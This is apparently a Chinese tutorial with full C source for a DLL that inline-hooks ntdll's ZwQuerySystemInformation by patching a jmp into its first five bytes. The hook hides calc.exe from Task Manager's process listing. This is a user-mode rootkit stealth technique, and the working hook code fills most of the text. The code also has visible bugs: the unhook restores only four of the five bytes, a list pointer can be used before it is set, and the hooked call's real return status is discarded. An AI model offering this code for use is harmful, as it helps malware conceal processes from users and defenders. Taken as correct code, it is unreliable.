1.简介:
对于IAT hook 方法,它只能hook掉在iat中的API,如果是通过动态加载的就不行了
因为动态加载的dll的API不在iat中,而是动态生成的.
这时可以预先加载该dll和API,并对API前几个字节进行保存然后修改成
跳转到自己的某函数中,然后进行一些操作后可以再跳回到原来的API.
这就是所谓的API修改hook.
2.以hook掉任务管理器的进程遍历功能,为例,用此来隐藏calc.exe这个进程
windows上ring3层的遍历进程API底层都调用了
ZwQuerySystemInformation 函数 该函数在ntdll中,但没有公开
在网上寻找该API的参数和返回值信息,在代码中体现
代码思路是: 先获取ZwQuerySystemInformation的地址,保存前5个字节的代码. 再覆盖为一个跳转到我们实现的一个伪ZwQuerySystemInformation
函数地址的jmp指令的机器代码.在我们的函数中找到calc.exe的进程名,然后再跳过这个节点即可.
#include "stdafx.h"
#include <Windows.h>
#include <wchar.h>
#include <malloc.h>
#include<stdio.h>
#define funcName "ZwQuerySystemInformation"
#define dllName "ntdll.dll"
#define processName L"calc.exe"
typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION)
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
BYTE orgCode[5];//原始指令
BYTE fakeCode[5]; //伪造的jmp指令
DWORD funcBase; //我们的函数基址
// char debug[100]={0};
DWORD WINAPI myZwQuerySystemInformation
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
DWORD hook(DWORD funcbase, DWORD fakeFunc);
DWORD unhook(DWORD funcbase);
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//获取目标函数基址和伪造函数基址
DWORD fakeFunc;
funcBase = (DWORD)GetProcAddress(GetModuleHandleA(dllName), funcName);
fakeFunc = (DWORD)myZwQuerySystemInformation;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//加载时就hook掉
hook(funcBase, fakeFunc);
break;
case DLL_PROCESS_DETACH:
unhook(funcBase);
break;
}
return TRUE;
}
DWORD hook(DWORD funcbase, DWORD fakeFunc)
{
DWORD page;
//如果已经被hook了就不再继续
if(*(BYTE*)funcbase==0xe9)
{
return 0;
}
VirtualProtect((LPVOID)funcbase, 5, PAGE_EXECUTE_READWRITE, &page);
memcpy(orgCode, (LPVOID)funcbase, 5);
fakeCode[0] = 0xe9;
DWORD opCode = fakeFunc -funcBase - 5;//jmp指令的操作码计算公式为:目标地址-当前指令地址-5
// sprintf(debug,"hook fakeFunc is %p, funcbase is %p",fakeFunc,funcbase);
memcpy(fakeCode + 1, &opCode, 4);//填充为指令
memcpy((LPVOID)funcBase, fakeCode, 5); //修改代码
VirtualProtect((LPVOID)funcbase, 5, page, &page);
return 1;
}
DWORD unhook(DWORD funcbase)
{
DWORD page;
if(*(BYTE*)funcbase!=0xe9)
{
return 0;
}
VirtualProtect((LPVOID)funcbase, 5, PAGE_EXECUTE_READWRITE, &page);
memcpy((LPVOID)funcBase, orgCode, 4); //恢复代码
VirtualProtect((LPVOID)funcbase, 5, page, &page);
return 1;
}
DWORD WINAPI myZwQuerySystemInformation
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
/*
这个函数的hook和一般的函数不同,这种函数属于查询类的函数,真正有用的信息
在该函数调用完了后才会写到缓冲区类的参数,而调用前的参数信息基本没用,
因此我们要对该函数进行正常调用,完后了再截取信息
*/
{
DWORD fakeFunc;
funcBase = (DWORD)GetProcAddress(GetModuleHandleA(dllName), funcName);
fakeFunc = (DWORD)myZwQuerySystemInformation;
PSYSTEM_PROCESS_INFORMATION p, pPre;
unhook(funcBase); //取消hook以正常调用
DWORD status=4;
status=((PFZWQUERYSYSTEMINFORMATION)funcBase)(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);//正常调用该函数
if(status!=0)
{
hook(funcBase, fakeFunc); //hook住
return 0;
}
if (SystemInformationClass== SystemProcessInformation) //只对查询进程的信息感兴趣
{
p = ((PSYSTEM_PROCESS_INFORMATION)SystemInformation);
while (1)
{
if(p->Reserved2[1]!=0)
{
if (lstrcmpiW((WCHAR*)p->Reserved2[1], processName)==0)
{
if (p->NextEntryOffset==0)//说明是最后一个了
{
pPre->NextEntryOffset = 0; //将后面一个节点的next指针置0即可
}
else
{
//跳过本节点 NextEntryOffset字段是相对于本节点的偏移,而不是绝对地址
//当当前节点是第一个节点时这个式子也成立
pPre->NextEntryOffset += p->NextEntryOffset;
}
}
else
{
pPre = p;
}
}
if(p->NextEntryOffset==0)
{
break;
}
p =((PSYSTEM_PROCESS_INFORMATION)((DWORD)p + p->NextEntryOffset));
}
}
hook(funcBase, fakeFunc); //hook住
return 1;
}